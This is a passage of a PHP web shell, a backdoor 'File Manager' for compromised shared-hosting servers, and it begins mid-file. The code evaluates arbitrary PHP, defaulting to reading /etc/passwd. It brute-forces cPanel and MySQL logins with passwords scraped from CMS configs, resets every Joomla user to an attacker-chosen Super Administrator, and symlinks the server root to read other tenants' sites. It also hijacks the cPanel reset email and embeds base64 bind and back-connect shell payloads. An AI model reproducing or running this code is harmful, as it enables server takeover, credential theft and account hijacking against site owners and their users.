705 exe(which('GET') . " " . $url . " > " . $namafile);
706 break;
707 case 'curl':
708 exe(which('curl') . " " . $url . " -o " . $namafile);
709 break;
710 default:
711 break;
712 }
713 return $namafile;
714}
715function get_perms($file)
716{
717 if ($mode = @fileperms($file))
718 {
719 $perms = '';
720 $perms .= ($mode & 00400) ? 'r' : '-';
721 $perms .= ($mode & 00200) ? 'w' : '-';
722 $perms .= ($mode & 00100) ? 'x' : '-';
723 $perms .= ($mode & 00040) ? 'r' : '-';
724 $perms .= ($mode & 00020) ? 'w' : '-';
725 $perms .= ($mode & 00010) ? 'x' : '-';
726 $perms .= ($mode & 00004) ? 'r' : '-';
727 $perms .= ($mode & 00002) ? 'w' : '-';
728 $perms .= ($mode & 00001) ? 'x' : '-';
729 return $perms;
730 }
731 else return "??????????";
732}
733function clearspace($text)
734{
735 return str_replace(" ", "_", $text);
736}
737$port_bind_bd_c = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
738$port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
739$back_connect = "fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
740$back_connect_c = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw=="; ?>
741
742
743<html>
744 <head>
745 <title>Simple Page </title>
746 <link href='https://fonts.googleapis.com/css?family=Anton:700' rel='stylesheet' type='text/css'>
747 <script type="text/javascript">
748 function tukar(lama,baru){document.getElementById(lama).style.display = 'none';
749 document.getElementById(baru).style.display = 'block';}
750 </script>
751 <style>
752 .title {
753 font-weight: bold;
754 letter-spacing: 1px;
755 font-family: "Orbitron", sans-serif;
756 color: #fffefe;
757 font-size: 20px;
758 text-shadow: -7px 0px 1px red;
759border: 1px solid white;
760 border-bottom-color: white;
761 border-bottom-style: solid;
762 border-bottom-width: 1px;
763border-bottom-color: white;
764border-bottom-style: solid;
765border-bottom-width: 1px;
766padding: 3px;
767margin: auto;
768border-radius: 12px;
769}
770.title2 {
771
772font-weight: bold;
773letter-spacing: 1px;
774font-family: "Orbitron", sans-serif;
775color: #fffefe;
776font-size: 13px;
777text-shadow: -2px 0px 1px red;
778border: 1px solid white;
779 border-bottom-color: white;
780 border-bottom-style: solid;
781 border-bottom-width: 1px;
782border-bottom-color: white;
783border-bottom-style: solid;
784border-bottom-width: 1px;
785width: 1px;
786padding: 3px;
787margin: auto;
788border-radius: 12px;
789
790}
791input[type=text] {
792 -moz-box-shadow: 0 0 1px black;
793 -webkit-box-shadow: 0 0 1px black;
794 height: 18px;
795 margin-left: 5px;
796}
797
798input:focus,
799textarea:focus,
800button:active {
801 box-shadow: 0 0 5px #4C83AF;
802 -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
803 -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
804 background: #222222;
805 overflow: auto;
806}
807
808#menu {
809 font-family: "Exo", sans-serif;
810 background: #111111;
811 margin: 5px 2px 4px 2px;
812}
813
814div #menu li:hover {
815 cursor: pointer;
816}
817
818div#menu li:hover>ul a:hover {
819 width: 118;
820 background: red;
821}
822
823div#menu ul {
824
825border-radius: 12px;
826float: left;
827font-family: "Exo", sans-serif;
828letter-spacing: 1px;
829color: #aa2b2b;
830border: 2px solid #7b6262;
831 border-bottom-color: rgb(123, 98, 98);
832 border-bottom-style: solid;
833 border-bottom-width: 2px;
834border-bottom-color: rgb(234, 234, 234);
835border-bottom-style: solid;
836border-bottom-width: 1px;
837padding: 2px;
838margin: 3px;
839box-shadow: 0px 0px 3px 2px #ea0e0e;
840
841}
842
843div#menu li {
844 position: relative;
845 display: block;
846 float: left;
847}
848
849div#menu li:hover>ul {
850 left: 0px;
851 border-left: 1px solid white;
852}
853
854div#menu a {
855 display: block;
856 float: left;
857 font-family: "Exo", sans-serif;
858 padding: 4px 6px;
859 margin: 0;
860 letter-spacing: 1px;
861 border: outset;
862 border-bottom-color: currentcolor;
863 border-bottom-style: outset;
864 border-bottom-width: medium;
865}
866
867div#menu a:hover {
868 background: rgba(160, 82, 45, 0.3);
869 font-family: "Exo", sans-serif;
870 border-bottom: 0px;
871}
872
873div#menu ul ul {
874 position: absolute;
875 top: 18px;
876 left: -990em;
877 width: 130px;
878 padding: 5px 0 5px 0;
879 background: black;
880 margin-top: 2px;
881}
882
883div#menu ul ul a {
884 padding: 2px 2px 2px 10px;
885 height: 20px;
886 float: none;
887 display: block;
888 color: white;
889}
890
891.k2ll33d2 {
892 text-align: center;
893 letter-spacing: 1px;
894 font-family: "Exo", sans-serif;
895 color: #fafcfa;
896 font-size: 25px;
897 text-shadow: -4px 0px 1px #f20505;
898}
899
900.mybox {
901 -moz-border-radius: 10px;
902 border-radius: 10px;
903 border: 1px solid #EC4D00;
904 padding: 4px 2px;
905 width: 70%;
906 line-height: 24px;
907 background: #111111;
908 box-shadow: 0px 4px 2px white;
909 -webkit-box-shadow: 0px 4px 2px #ffffff;
910 -moz-box-shadow: 0px 4px 2px #ffffff;
911}
912
913.myboxtbl {
914 width: 50%;
915}
916
917body {
918 background: #060606 url(https://stefanjugovic.com/wp-content/uploads/2019/10/videoblocks-network-on-a-black-background-cinematic-plexus-background-seamless-loop_hagskxz4rm_thumbnail-full01.png) repeat center center fixed;
919}
920
921a {
922 text-decoration: none;
923}
924
925hr,
926a:hover {
927 border-bottom: 1px solid #4C83AF;
928}
929
930* {
931 text-shadow: 0pt 0pt 0.03em rgb(47, 6, 255);
932 font-size: 10px;
933 font-family: "Exo", sans-serif;
934 color: #FFF;
935 font-weight: bold;
936}
937.tabnet {
938 margin: 15px auto 0 auto;
939 border: 1px solid #333333;
940}
941
942.main {
943 width: 100%;
944}
945
946.gaya {
947 color: #888888;
948}
949
950.top {
951 border-left: 1px solid #ff0303;
952 border-RIGHT: 1px solid #3604ec;
953 border: 1px solid #fffdfd;
954 font-family: Exo;
955 box-shadow: 1px 1px #ff1010;
956 border-radius: 12px;
957}
958
959.inputz,
960option {
961 outline: none;
962 transition: all 0.20s ease-in-out;
963 -webkit-transition: all 0.20s ease-in-out;
964 -moz-transition: all 0.20s ease-in-out;
965 border: 1px solid rgba(0, 0, 0, 0.2);
966 background: #111111;
967 border: 0;
968 padding: 2px;
969 border-bottom: 1px solid #393939;
970 font-size: 11px;
971 color: #ffffff;
972 -moz-border-radius: 6px;
973 border-radius: 12px;
974 border: 1px solid #4C83AF;
975 margin: 4px 0 8px 0;
976}
977
978.inputzbut {
979 background: #111111;
980 color: #8f8f8f;
981 margin: 0 4px;
982 border: 1px solid #555555;
983}
984
985.inputzbut:hover {
986 background: #222222;
987 border-left: 1px solid #4C83AF;
988 border-right: 1px solid #4C83AF;
989 border-bottom: 1px solid #4C83AF;
990 border-top: 1px solid #4C83AF;
991}
992
993.inputz:hover {
994 -moz-border-radius: 6px;
995 border-radius: 10px;
996 border: 1px solid #4C83AF;
997 margin: 4px 0 8px 0;
998 border-bottom: 1px solid #4C83AF;
999 border-top: 1px solid #4C83AF;
1000}
1001
1002.output2 {
1003 margin: auto;
1004 border: 1px solid #888888;
1005 background: #000000;
1006 padding: 0 2px;
1007}
1008
1009textarea {
1010 margin: auto;
1011 border: 2px solid #555555;
1012 background: #000000;
1013 padding: 0 2px;
1014}
1015
1016.output {
1017 margin: auto;
1018 border: 1px solid #303030;
1019 width: 100%;
1020 height: 400px;
1021 background: #000000;
1022 padding: 0 2px;
1023}
1024
1025.cmdbox {
1026 width: 100%;
1027}
1028
1029.head_info {
1030 padding: 0 4px;
1031}
1032
1033.b1 {
1034 font-size: 30px;
1035 padding: 0;
1036 color: #555555;
1037}
1038
1039.b2 {
1040 font-size: 30px;
1041 padding: 0;
1042 color: #800000;
1043}
1044
1045.b_tbl {
1046 text-align: center;
1047 margin: 0 4px 0 0;
1048 padding: 0 4px 0 0;
1049 border-right: 1px solid #b8adad;
1050}
1051
1052.phpinfo table {
1053 width: 100%;
1054 padding: 0 0 0 0;
1055}
1056
1057.phpinfo td {
1058 background: #111111;
1059 color: #cccccc;
1060 padding: 6px 8px;
1061 ;
1062}
1063
1064.phpinfo th,
1065th {
1066 background: #f3f3f3b7;
1067 border-bottom: 3px double #f70707;
1068 font-weight: 900
1069}
1070
1071.phpinfo h2,
1072.phpinfo h2 a {
1073 text-align: center;
1074 font-size: 16px;
1075 padding: 0;
1076 margin: 30px 0 0 0;
1077 background: #222222;
1078 padding: 4px 0;
1079}
1080
1081.explore {
1082 width: 100%;
1083 box-shadow: 1px 1px 3px 1px #f70505d9;
1084}
1085
1086.explore a {
1087 text-decoration: none;
1088}
1089
1090.explore td {
1091 border: 1px solid white;
1092 padding: 7px;
1093 margin: 5px
1094
1095}
1096
1097.explore th {
1098 padding: 3px 8px;
1099 font-weight: bolder;
1100 color: black;
1101 box-shadow: -1px 0px 2px 1px #f4f3f3;
1102 border-radius: 12px;
1103
1104}
1105
1106.explore th:hover,
1107.phpinfo th:hover,
1108th:hover {
1109 color: black;
1110 background: #c9c3c3;
1111}
1112
1113.explore tr:hover {
1114 background: rgba(35, 96, 156, 0.2);
1115}
1116
1117.viewfile {
1118 background: #EDECEB;
1119 border-radius: 12px;
1120 color: #000000;
1121 margin: 4px 2px;
1122 padding: 8px;
1123}
1124
1125.sembunyi {
1126 display: none;
1127 padding: 0;
1128 margin: 0;
1129}
1130
1131k,
1132k a,
1133k a:hover {
1134 text-shadow: 0pt 0pt 0.3em red;
1135 font-family: Exo;
1136 font-size: 25px;
1137 color: #ffffff;
1138} </style>
1139<style>
1140@import url('https://fonts.googleapis.com/css?family=Anton|Exo|Orbitron:700&display=swap');
1141</style> </head>
1142<body onLoad="document.getElementById('cmd').focus();">
1143 <div class="main">
1144 <div class="head_info">
1145 <table width="100%">
1146 <tr>
1147 <td width="23%">
1148 <table class="b_tbl">
1149<center><h3 class="TITLE">File Manager V1.0</h3></center>
1150<h2 class="k2ll33d2"><a href="?<?php echo "y=" . $pwd; ?>&x=email">Email</h2></div>
1151</td></tr></table></td>
1152<td class="top" width='60%'><?php echo $buff; ?></td>
1153<td style="width:20%;"><a>Server iP : <?php echo $server_ip . "<br><br> Client iP : " . $my_ip . "<br></a>"; ?>
1154<br>
1155<a href="?" class="TITLE2">HOME Directory</td></tr></table></div>
1156<div id="menu"><ul class="menu">
1157<a href="?<?php echo "y=" . $pwd; ?>">Files Manager</a>
1158<a href="?<?php echo "y=" . $pwd; ?>&x=shell">Shell</a>
1159<a href="?<?php echo "y=" . $pwd; ?>&x=upload">Upload</a>
1160<li><a>Extra stuff</a><ul>
1161</li>
1162<li></li>
1163<li><a href="?<?php echo "y=" . $pwd; ?>&x=ssi">SSI Shell</a></li>
1164<li><a href="?<?php echo "y=" . $pwd; ?>&x=tester">Mail Tester</a></li></ul></li>
1165<li><a>SYMLiNK</a><ul>
1166<li><a href="?<?php echo "y=" . $pwd; ?>&x=sf">Symlink File</a></li>
1167<li><a href="?<?php echo "y=" . $pwd; ?>&x=sec">Symlink server</a></li>
1168<li><a href="?<?php echo "y=" . $pwd; ?>&x=configs">Get configs</a></li></ul></li>
1169<a href="?<?php echo "y=" . $pwd; ?>&x=php">Eval Code </a>
1170<a href="?<?php echo "y=" . $pwd; ?>&x=passwd">Posix Passwd</a>
1171<a href="?<?php echo "y=" . $pwd; ?>&x=wordlist">Wordlist </a>
1172
1173<a href="?<?php echo "y=" . $pwd; ?>&x=CpanelBF">CP Brute Force</a>
1174<a href="?<?php echo "y=" . $pwd; ?>&x=404Config">Grep Config</a>
1175<a href="?<?php echo "y=" . $pwd; ?>&x=back">Back Connect</a>
1176<a href="?<?php echo "y=" . $pwd; ?>&x=mysql">Mysql Manager</a>
1177<a href="?<?php echo "y=" . $pwd; ?>&x=SSMTPP">SMTP List</a>
1178<a href="?<?php echo "y=" . $pwd; ?>&x=brute">Cpanel BruteForce</a>
1179<a href="?<?php echo "y=" . $pwd; ?>&x=cgi">CGI Shell Perl</a>
1180<a href="?<?php echo "y=" . $pwd; ?>&x=adminer">Adminer</a><li>
1181<a>A-P-C JOM</a><ul>
1182<li><a href="?<?php echo "y=" . $pwd; ?>&x=joomla">From keyboard</a></li>
1183<li><a href="?<?php echo "y=" . $pwd; ?>&x=js">From symlink</a></li></ul></li>
1184<li><a>A-P-C WP</a><ul><li><a href="?<?php echo "y=" . $pwd; ?>&x=keyboard">From Keyboard</a></li>
1185<li><a href="?<?php echo "y=" . $pwd; ?>&x=config">From Symlink</a></li></ul></li>
1186<a href="?<?php echo "y=" . $pwd; ?>&x=whmcs">WHMCS EX</a>
1187<a href="?<?php echo "y=" . $pwd; ?>&x=domains">Server Domains</a>
1188<a href="?<?php echo "y=" . $pwd; ?>&x=string">Crypt</a>
1189<a href="?<?php echo "y=" . $pwd; ?>&x=boom">JO-WP</a>
1190<a href="?<?php echo "y=" . $pwd; ?>&x=wso">WSO Shell</a>
1191<a href="?<?php echo "y=" . $pwd; ?>&x=SSMTPP">Port scanner(SMTP Included)</a> </ul></div>
1192<br>
1193<br>
1194<br>
1195<br>
1196<br>
1197<?php if (isset($_GET['x']) && ($_GET['x'] == 'php'))
1198{ ?><form action="?y=<?php echo $pwd; ?>&x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90>
1199<?php if (isset($_POST['submitcmd']))
1200 {
1201 echo eval(magicboom($_POST['cmd']));
1202 }
1203 else echo "echo file_get_contents('/etc/passwd');"; ?></textarea></td></tr><tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> <?php
1204}
1205elseif (isset($_GET['x']) && ($_GET['x'] == 'email'))
1206{
1207 echo'
1208 <center><h1 class="TITLE";>Please Put Your Email Below </h1>
1209 <form action="#" method="post">
1210 <input class="inputz" type="email" name="email" value="abdessamad-sux17@outlook.com"/><br>
1211 <input class="inputz" type="submit" name="submit" value="Send" />
1212 </form>';
1213 $use = get_current_user();
1214 $site = $_SERVER['HTTP_HOST'];
1215 $ips = getenv('REMOTE_ADDR');
1216
1217 if(isset($_POST['submit'])){
1218
1219 $email = $_POST['email'];
1220 $wr = 'email:'.$email;
1221 $f = fopen('/home/'.$user.'/.cpanel/contactinfo', 'w');
1222 fwrite($f, $wr);
1223 fclose($f);
1224 $f = fopen('/home/'.$user.'/.contactinfo', 'w');
1225 fwrite($f, $wr);
1226 fclose($f);
1227 $parm = 'https://'.$site.':2083/resetpass?start=1';
1228 echo '<br/><h3><center>'.$parm.'</h3></center>';
1229 echo '<br/><h3><center>'.$user.'</h3></center>';
1230 }
1231}
1232elseif (isset($_GET['x']) && ($_GET['x'] == 'CpanelBF'))
1233if($_POST['crack']) {
1234 $usercp = explode("\r\n", $_POST['user_cp']);
1235 $passcp = explode("\r\n", $_POST['pass_cp']);
1236 $i = 0;
1237 foreach($usercp as $ucp) {
1238 foreach($passcp as $pcp) {
1239 if(@mysql_connect('localhost', $ucp, $pcp)) {
1240 if($_SESSION[$ucp] && $_SESSION[$pcp]) {
1241 } else {
1242 $_SESSION[$ucp] = "1";
1243 $_SESSION[$pcp] = "1";
1244 if($ucp == '' || $pcp == '') {
1245
1246 } else {
1247 $i++;
1248 if(function_exists('posix_getpwuid')) {
1249 $domain_cp = file_get_contents("/etc/named.conf");
1250 if($domain_cp == '') {
1251 $dom = "<font color=red>gabisa ambil nama domain nya</font>";
1252 } else {
1253 preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
1254 foreach($domains_cp[1] as $dj) {
1255 $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
1256 $user_cp_url = $user_cp_url['name'];
1257 if($user_cp_url == $ucp) {
1258 $dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
1259 break;
1260 }
1261 }
1262 }
1263 } else {
1264 $dom = "<font color=red>function is Disable by system</font>";
1265 }
1266 echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>";
1267 }
1268 }
1269 }
1270 }
1271 }
1272 if($i == 0) {
1273 } else {
1274 echo "<br>Done ".$i." Cpanel Cracked <font color=lime>T0T.</font>";
1275 }
1276} else {
1277 echo "<center>
1278 <form method='post'>
1279 USER: <br>
1280 <textarea style='width: 450px; height: 150px;' name='user_cp'>";
1281 $_usercp = fopen("/etc/passwd","r");
1282 while($getu = fgets($_usercp)) {
1283 if($getu == '' || !$_usercp) {
1284 echo "<font color=red>Can't read /etc/passwd</font>";
1285 } else {
1286 preg_match_all("/(.*?):x:/", $getu, $u);
1287 foreach($u[1] as $user_cp) {
1288 if(is_dir("/home/$user_cp/public_html")) {
1289 echo "$user_cp\n";
1290 }
1291 }
1292 }
1293 }
1294 echo "</textarea><br>
1295 PASS: <br>
1296 <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
1297 function cp_pass($dir) {
1298 $pass = "";
1299 $dira = scandir($dir);
1300 foreach($dira as $dirb) {
1301 if(!is_file("$dir/$dirb")) continue;
1302 $ambil = file_get_contents("$dir/$dirb");
1303 if(preg_match("/WordPress/", $ambil)) {
1304 $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
1305 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
1306 $pass .= ambilkata($ambil,"password = '","'")."\n";
1307 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
1308 $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
1309 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
1310 $pass .= ambilkata($ambil,'password = "','"')."\n";
1311 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
1312 $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
1313 } elseif(preg_match("/^[client]$/", $ambil)) {
1314 preg_match("/password=(.*?)/", $ambil, $pass1);
1315 if(preg_match('/"/', $pass1[1])) {
1316 $pass1[1] = str_replace('"', "", $pass1[1]);
1317 $pass .= $pass1[1]."\n";
1318 } else {
1319 $pass .= $pass1[1]."\n";
1320 }
1321 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
1322 $pass .= ambilkata($ambil,"db_password = '","'")."\n";
1323 }
1324 }
1325 echo $pass;
1326 }
1327 $cp_pass = cp_pass($dir);
1328 echo $cp_pass;
1329 echo "</textarea><br>
1330 <input type='submit' name='crack' style='width: 450px;' class='inputz' value='Crack'>
1331 </form>
1332 <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
1333}
1334elseif (isset($_GET['x']) && ($_GET['x'] == 'js'))
1335{
1336 if ($_POST['symjo'])
1337 {
1338 $config = file_get_contents($_POST['url']);
1339 $user = $_POST['user'];
1340 $pass = md5($_POST['pass']);
1341 function ex($text, $a, $b)
1342 {
1343 $explode = explode($a, $text);
1344 $explode = explode($b, $explode[1]);
1345 return $explode[0];
1346 }
1347 if ($config && ereg('JConfig', $config))
1348 {
1349 $psswd = ex($config, '$password = \'', "';");
1350 $username = ex($config, '$user = \'', "';");
1351 $dbname = ex($config, '$db = \'', "';");
1352 $prefix = ex($config, '$dbprefix = \'', "';");
1353 $host = ex($config, '$host = \'', "';");
1354 $email = ex($config, '$mailfrom = \'', "';");
1355 $formn = ex($config, '$fromname = \'', "';");
1356 $conn = mysqli_connect($host, $username, $psswd) or die(mysqli_error());
1357 mysqli_select_db($dbname, $conn) or die($username . ' ' . $psswd . ' ' . $host . ' ' . $dbname);
1358 $query = @mysqli_query("UPDATE `" . $prefix . "users` SET `username` ='" . $user . "' , `password` = '" . $pass . "', `usertype` = 'Super Administrator', `block` = 0");
1359 if ($query)
1360 {
1361 echo '<center><h2 class="k2ll33d2">Done !</h2></center><br><table width="100%"><tr><th width="30%">site name</th><th width="20%">user</th><th width="20%">password</th><th width="20%">email</th></tr><tr><td width="20%"><font size="2" color="red">' . $formn . '</font></td><td width="20%">' . $user . '</td><td with="20%">' . $_POST["pass"] . '</td><td width="20%">' . $email . '</td></tr></table>';
1362 }
1363 else
1364 {
1365 echo '<h2 class="k2ll33d2"><font color="#ff0000">ERROR !</font></h2>';
1366 }
1367 }
1368 else die('<h2 class="k2ll33d2"><font color="red">Not a joomla config</font></h2>');
1369 }
1370 else
1371 { ?> <center><br><br><div class="mybox"><form method="post"><table><h2 class="k2ll33d2">Joomla login changer ( symlink version )</h2><tr><td>config link : </td><td><input class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user : </td><td><input class="inputz" type="text" name="user" value="admin"></td></tr><tr><td>new password : </td><td><input class="inputz" type="text" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input type="submit" class="inputzbut" name="symjo" value="change"></td><br></tr></table></form></div></center><?php
1372 }
1373}
1374elseif (isset($_GET['x']) && ($_GET['x'] == 'sec'))
1375{
1376 $d0mains = @file("/etc/named.conf");
1377 if ($d0mains)
1378 {
1379 @mkdir("K7", 0777);
1380 @chdir("K7");
1381 @exe("ln -s / root");
1382 $file3 = '
1383OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
1384DirectoryIndex ViR.html
1385ForceType text/plain
1386AddType text/plain .php
1387AddType text/plain .html
1388AddType text/html .shtml
1389AddType txt .php
1390AddHandler server-parsed .php
1391AddHandler txt .php
1392AddHandler txt .html
1393AddHandler txt .shtml
1394Options All
1395Options All';
1396 $fp3 = fopen('.htaccess', 'w');
1397 $fw3 = fwrite($fp3, $file3);
1398 @fclose($fp3);
1399 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=3>S. No.</font></td><td align=center><font size=3>Domains</font></td><td align=center><font size=3>Users</font></td><td align=center><font size=3>Symlink</font></td></tr>";
1400 $dcount = 1;
1401 foreach ($d0mains as $d0main)
1402 {
1403 if (eregi("zone", $d0main))
1404 {
1405 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1406 flush();
1407 if (strlen(trim($domains[1][0])) > 2)
1408 {
1409 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
1410 echo "<tr align=center><td><font size=3>" . $dcount . "</font></td><td align=left><a href=http://www." . $domains[1][0] . "/><font class=txt>" . $domains[1][0] . "</font></a></td><td>" . $user['name'] . "</td><td><a href='/K7/root/home/" . $user['name'] . "/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
1411 flush();
1412 $dcount++;
1413 }
1414 }
1415 }
1416 echo "</table>";
1417 }
1418 else
1419 {
1420 $TEST = @file('/etc/passwd');
1421 if ($TEST)
1422 {
1423 @mkdir("K7", 0777);
1424 @chdir("K7");
1425 exe("ln -s / root");
1426 echo "<br><br><table align=center border=1><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
1427 $dcount = 1;
1428 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
1429 while (!feof($file))
1430 {
1431 $s = fgets($file);
1432 $matches = array();
1433 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1434 $matches = str_replace("home/", "", $matches[1]);
1435 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
1436 echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
1437 echo "<td align=center><font class=txt><a href=/K7/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1438 $dcount++;
1439 }
1440 fclose($file);
1441 echo "</table>";
1442 }
1443 else
1444 {
1445 if ($os != "Windows")
1446 {
1447 @mkdir("K7", 0777);
1448 @chdir("K7");
1449 @exe("ln -s / root");
1450 echo "<br><br><center><div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2><table align=center border=1><tr><td align=center><font size=4>id</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
1451 $temp = "";
1452 $val1 = 0;
1453 $val2 = 1000;
1454 for (;$val1 <= $val2;$val1++)
1455 {
1456 $uid = @posix_getpwuid($val1);
1457 if ($uid) $temp .= join(':', $uid) . "\n";
1458 }
1459 echo '<br/>';
1460 $temp = trim($temp);
1461 $file5 = fopen("test.txt", "w");
1462 fputs($file5, $temp);
1463 fclose($file5);
1464 $dcount = 1;
1465 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1466 while (!feof($file))
1467 {
1468 $s = fgets($file);
1469 $matches = array();
1470 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1471 $matches = str_replace("home/", "", $matches[1]);
1472 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
1473 echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
1474 echo "<td align=center><font class=txt><a href=/K7/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1475 $dcount++;
1476 }
1477 fclose($file);
1478 echo "</table></div></center>";
1479 unlink("test.txt");
1480 }
1481 else echo "<center><font size=4>Cannot create Symlink</font></center>";
1482 }
1483 }
1484}
1485elseif (isset($_GET['x']) && ($_GET['x'] == 'SSMTPP'))
1486{
1487 echo '<center><a class="k2ll33d2">SMTP Passwords</a>';
1488set_time_limit(0);
1489ini_set('max_execution_time', 0);
1490ini_set('memory_limit', -1);
1491$ports = array(
1492 25,
1493 587,
1494 465,
1495 110,
1496 995,
1497 143,
1498 993
1499);
1500$primary_port = '25';
1501$user = get_current_user();
1502$password = 'D3F4ULT--';
